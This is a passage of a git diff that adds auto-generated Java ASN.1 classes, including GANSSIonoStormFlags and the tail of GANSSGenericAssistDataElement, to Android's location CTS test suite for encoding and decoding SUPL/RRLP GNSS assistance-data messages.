+ return tag == null ? GANSSRefMeasurementAssist.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssRefMeasurementAssist : "
+ + getGanssRefMeasurementAssist().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssAlmanacModel() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssAlmanacModel();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssAlmanacModelToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSAlmanacModel.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssAlmanacModel : "
+ + getGanssAlmanacModel().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssUTCModel() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssUTCModel();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssUTCModelToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSUTCModel.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssUTCModel : "
+ + getGanssUTCModel().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssEphemerisExtension() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssEphemerisExtension();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssEphemerisExtensionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisExtension.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssEphemerisExtension : "
+ + getGanssEphemerisExtension().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssEphemerisExtCheck() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssEphemerisExtCheck();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssEphemerisExtCheckToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisExtensionCheck.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssEphemerisExtCheck : "
+ + getGanssEphemerisExtCheck().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionSbasID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionSbasID();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionSbasIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbasID : "
+ + getExtensionSbasID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionGanssAddUTCModel() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionGanssAddUTCModel();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionGanssAddUTCModelToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssAddUTCModel : "
+ + getExtensionGanssAddUTCModel().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionGanssAuxiliaryInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionGanssAuxiliaryInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionGanssAuxiliaryInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssAuxiliaryInfo : "
+ + getExtensionGanssAuxiliaryInfo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionGanssDiffCorrectionsValidityPeriod() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionGanssDiffCorrectionsValidityPeriod();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionGanssDiffCorrectionsValidityPeriodToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssDiffCorrectionsValidityPeriod : "
+ + getExtensionGanssDiffCorrectionsValidityPeriod().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssIDType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssIDType != null) {
+ return ImmutableList.of(TAG_ganssIDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssIDType from encoded stream.
+ */
+ public static ganssIDType fromPerUnaligned(byte[] encodedBytes) {
+ ganssIDType result = new ganssIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssIDType from encoded stream.
+ */
+ public static ganssIDType fromPerAligned(byte[] encodedBytes) {
+ ganssIDType result = new ganssIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sbasIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasIDType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasIDType != null) {
+ return ImmutableList.of(TAG_sbasIDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasIDType from encoded stream.
+ */
+ public static sbasIDType fromPerUnaligned(byte[] encodedBytes) {
+ sbasIDType result = new sbasIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasIDType from encoded stream.
+ */
+ public static sbasIDType fromPerAligned(byte[] encodedBytes) {
+ sbasIDType result = new sbasIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSGenericAssistDataElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSIonoStormFlags.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSIonoStormFlags.java
new file mode 100755
index 0000000..11d30be
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSIonoStormFlags.java
@@ -0,0 +1,870 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSIonoStormFlags extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSIonoStormFlags
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSIonoStormFlags() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSIonoStormFlags;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSIonoStormFlags != null) {
+ return ImmutableList.of(TAG_GANSSIonoStormFlags);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSIonoStormFlags from encoded stream.
+ */
+ public static GANSSIonoStormFlags fromPerUnaligned(byte[] encodedBytes) {
+ GANSSIonoStormFlags result = new GANSSIonoStormFlags();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSIonoStormFlags from encoded stream.
+ */
+ public static GANSSIonoStormFlags fromPerAligned(byte[] encodedBytes) {
+ GANSSIonoStormFlags result = new GANSSIonoStormFlags();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSIonoStormFlags.ionoStormFlag1Type ionoStormFlag1_;
+ public GANSSIonoStormFlags.ionoStormFlag1Type getIonoStormFlag1() {
+ return ionoStormFlag1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSIonoStormFlags.ionoStormFlag1Type
+ */
+ public void setIonoStormFlag1(Asn1Object value) {
+ this.ionoStormFlag1_ = (GANSSIonoStormFlags.ionoStormFlag1Type) value;
+ }
+ public GANSSIonoStormFlags.ionoStormFlag1Type setIonoStormFlag1ToNewInstance() {
+ ionoStormFlag1_ = new GANSSIonoStormFlags.ionoStormFlag1Type();
+ return ionoStormFlag1_;
+ }
+
+ private GANSSIonoStormFlags.ionoStormFlag2Type ionoStormFlag2_;
+ public GANSSIonoStormFlags.ionoStormFlag2Type getIonoStormFlag2() {
+ return ionoStormFlag2_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSIonoStormFlags.ionoStormFlag2Type
+ */
+ public void setIonoStormFlag2(Asn1Object value) {
+ this.ionoStormFlag2_ = (GANSSIonoStormFlags.ionoStormFlag2Type) value;
+ }
+ public GANSSIonoStormFlags.ionoStormFlag2Type setIonoStormFlag2ToNewInstance() {
+ ionoStormFlag2_ = new GANSSIonoStormFlags.ionoStormFlag2Type();
+ return ionoStormFlag2_;
+ }
+
+ private GANSSIonoStormFlags.ionoStormFlag3Type ionoStormFlag3_;
+ public GANSSIonoStormFlags.ionoStormFlag3Type getIonoStormFlag3() {
+ return ionoStormFlag3_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSIonoStormFlags.ionoStormFlag3Type
+ */
+ public void setIonoStormFlag3(Asn1Object value) {
+ this.ionoStormFlag3_ = (GANSSIonoStormFlags.ionoStormFlag3Type) value;
+ }
+ public GANSSIonoStormFlags.ionoStormFlag3Type setIonoStormFlag3ToNewInstance() {
+ ionoStormFlag3_ = new GANSSIonoStormFlags.ionoStormFlag3Type();
+ return ionoStormFlag3_;
+ }
+
+ private GANSSIonoStormFlags.ionoStormFlag4Type ionoStormFlag4_;
+ public GANSSIonoStormFlags.ionoStormFlag4Type getIonoStormFlag4() {
+ return ionoStormFlag4_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSIonoStormFlags.ionoStormFlag4Type
+ */
+ public void setIonoStormFlag4(Asn1Object value) {
+ this.ionoStormFlag4_ = (GANSSIonoStormFlags.ionoStormFlag4Type) value;
+ }
+ public GANSSIonoStormFlags.ionoStormFlag4Type setIonoStormFlag4ToNewInstance() {
+ ionoStormFlag4_ = new GANSSIonoStormFlags.ionoStormFlag4Type();
+ return ionoStormFlag4_;
+ }
+
+ private GANSSIonoStormFlags.ionoStormFlag5Type ionoStormFlag5_;
+ public GANSSIonoStormFlags.ionoStormFlag5Type getIonoStormFlag5() {
+ return ionoStormFlag5_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSIonoStormFlags.ionoStormFlag5Type
+ */
+ public void setIonoStormFlag5(Asn1Object value) {
+ this.ionoStormFlag5_ = (GANSSIonoStormFlags.ionoStormFlag5Type) value;
+ }
+ public GANSSIonoStormFlags.ionoStormFlag5Type setIonoStormFlag5ToNewInstance() {
+ ionoStormFlag5_ = new GANSSIonoStormFlags.ionoStormFlag5Type();
+ return ionoStormFlag5_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getIonoStormFlag1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getIonoStormFlag1();
+ }
+
+ @Override public void setToNewInstance() {
+ setIonoStormFlag1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSIonoStormFlags.ionoStormFlag1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ionoStormFlag1 : "
+ + getIonoStormFlag1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getIonoStormFlag2() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getIonoStormFlag2();
+ }
+
+ @Override public void setToNewInstance() {
+ setIonoStormFlag2ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSIonoStormFlags.ionoStormFlag2Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ionoStormFlag2 : "
+ + getIonoStormFlag2().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getIonoStormFlag3() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getIonoStormFlag3();
+ }
+
+ @Override public void setToNewInstance() {
+ setIonoStormFlag3ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSIonoStormFlags.ionoStormFlag3Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ionoStormFlag3 : "
+ + getIonoStormFlag3().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getIonoStormFlag4() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getIonoStormFlag4();
+ }
+
+ @Override public void setToNewInstance() {
+ setIonoStormFlag4ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSIonoStormFlags.ionoStormFlag4Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ionoStormFlag4 : "
+ + getIonoStormFlag4().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getIonoStormFlag5() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getIonoStormFlag5();
+ }
+
+ @Override public void setToNewInstance() {
+ setIonoStormFlag5ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSIonoStormFlags.ionoStormFlag5Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ionoStormFlag5 : "
+ + getIonoStormFlag5().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ionoStormFlag1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ionoStormFlag1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ionoStormFlag1Type() {
+ super();
+ setValueRange("0", "1");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ionoStormFlag1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ionoStormFlag1Type != null) {
+ return ImmutableList.of(TAG_ionoStormFlag1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ionoStormFlag1Type from encoded stream.
+ */
+ public static ionoStormFlag1Type fromPerUnaligned(byte[] encodedBytes) {
+ ionoStormFlag1Type result = new ionoStormFlag1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ionoStormFlag1Type from encoded stream.
+ */
+ public static ionoStormFlag1Type fromPerAligned(byte[] encodedBytes) {
+ ionoStormFlag1Type result = new ionoStormFlag1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ionoStormFlag1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ionoStormFlag2Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ionoStormFlag2Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ionoStormFlag2Type() {
+ super();
+ setValueRange("0", "1");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ionoStormFlag2Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ionoStormFlag2Type != null) {
+ return ImmutableList.of(TAG_ionoStormFlag2Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ionoStormFlag2Type from encoded stream.
+ */
+ public static ionoStormFlag2Type fromPerUnaligned(byte[] encodedBytes) {
+ ionoStormFlag2Type result = new ionoStormFlag2Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ionoStormFlag2Type from encoded stream.
+ */
+ public static ionoStormFlag2Type fromPerAligned(byte[] encodedBytes) {
+ ionoStormFlag2Type result = new ionoStormFlag2Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ionoStormFlag2Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ionoStormFlag3Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ionoStormFlag3Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ionoStormFlag3Type() {
+ super();
+ setValueRange("0", "1");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ionoStormFlag3Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ionoStormFlag3Type != null) {
+ return ImmutableList.of(TAG_ionoStormFlag3Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ionoStormFlag3Type from encoded stream.
+ */
+ public static ionoStormFlag3Type fromPerUnaligned(byte[] encodedBytes) {
+ ionoStormFlag3Type result = new ionoStormFlag3Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ionoStormFlag3Type from encoded stream.
+ */
+ public static ionoStormFlag3Type fromPerAligned(byte[] encodedBytes) {
+ ionoStormFlag3Type result = new ionoStormFlag3Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
